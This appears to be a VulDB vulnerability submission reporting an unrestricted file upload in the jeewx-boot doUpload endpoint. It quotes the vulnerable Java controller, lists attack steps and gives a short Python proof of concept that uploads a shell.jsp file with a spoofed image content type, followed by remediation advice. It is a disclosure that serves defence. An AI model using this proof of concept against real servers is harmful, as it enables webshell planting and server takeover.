Invia #893778: jeecgboot jeewx-boot latest Unrestricted Upload

Vulnerability Overview
The controller accepts a multipart file from the file request parameter, derives the file extension from the attacker-controlled original filename, leading to Unrestricted Upload of File with Dangerous Type.

Affected Component
Project: jeecgboot/jeewx-boot
Affected File:
jeewx-boot-module-weixin/src/main/java/com/jeecg/p3/open/web/back/MyJwWebJwid3Controller.java
Affected Endpoint:
POST /commonweixin/back/myJwWebJwid3/doUpload

Vulnerability Details
Root Cause
The vulnerability exists in MyJwWebJwid3Controller#doUpload:
@RequestMapping(value = "/doUpload",method ={RequestMethod.POST})
@ResponseBody
public AjaxJson doUpload(MultipartHttpServletRequest request,HttpServletResponse response){
AjaxJson j = new AjaxJson();
try {
MultipartFile uploadify = request.getFile("file");
byte[] bytes = uploadify.getBytes();
String realFilename=uploadify.getOriginalFilename();
String fileExtension = realFilename.substring(realFilename.lastIndexOf("."));
String filename=UUID.randomUUID().toString().replace("-", "")+fileExtension;
String uploadDir = request.getSession().getServletContext().getRealPath("upload/img/commonweixin/");
...
File uploadedFile = new File(uploadDir + sep + filename);
FileCopyUtils.copy(bytes, uploadedFile);

The root causes are:
Untrusted extension extraction: The code extracts the extension with substring(realFilename.lastIndexOf(".")) without validation.
Missing content verification: The uploaded bytes are written directly to disk. There is no content validation.

Attack Vector
An attacker who can authenticate to the backend area and invoke the upload endpoint can exploit this by:
1. Sending a multipart POST request to /commonweixin/back/myJwWebJwid3/doUpload.do.
2. Supplying the upload field named file.
3. Setting the multipart filename to a dangerous extension, for example shell.jsp.

Proof of Concept
import requests

url = "http://localhost:8089/commonweixin/back/myJwWebJwid3/doUpload"
file_path = r"./shell.jsp"
headers = {
"Cookie": "JSESSIONID=6FA7AE806DCEDB9E273DB980E7B44E1A"
}
with open(file_path, "rb") as f:
files = {
"file": ("shell.jsp", f, "image/jpg")
}
resp = requests.post(url, files=files, headers=headers)

Affected Versions
The latest version of jeewx-boot is affected.

Recommendations
Use a strict extension allowlist:
Allow only expected image extensions such as .jpg, .jpeg, .png, and .gif.
Normalize the extension to lowercase before comparison.
Reject filenames without an extension.
Verify file content:
Do not trust Content-Type or the original filename.
Decode the file as an image and re-encode it before storage when image upload is expected.
Check magic bytes as a secondary validation signal.

• Fonte: ⚠️ https://github.com/jeecgboot/jeewx-boot/issues/48
• Utente: CyanM0un (UID 99906)
• Sottomissione: 17/07/2026 07:19 (1 mese fa)
• Moderazione: 30/08/2026 12:02 (1 month later)
• Stato: Accettato
• Voce VulDB: 397127 [jeecgboot jeewx-boot fino a 641ab52c3e1845fec39996d7794c33fb40dad1dd doUpload Endpoint MyJwWebJwid3Controller.java MyJwWebJwid3Controller.doUpload File escalationi di privilegi]
• Punti: 20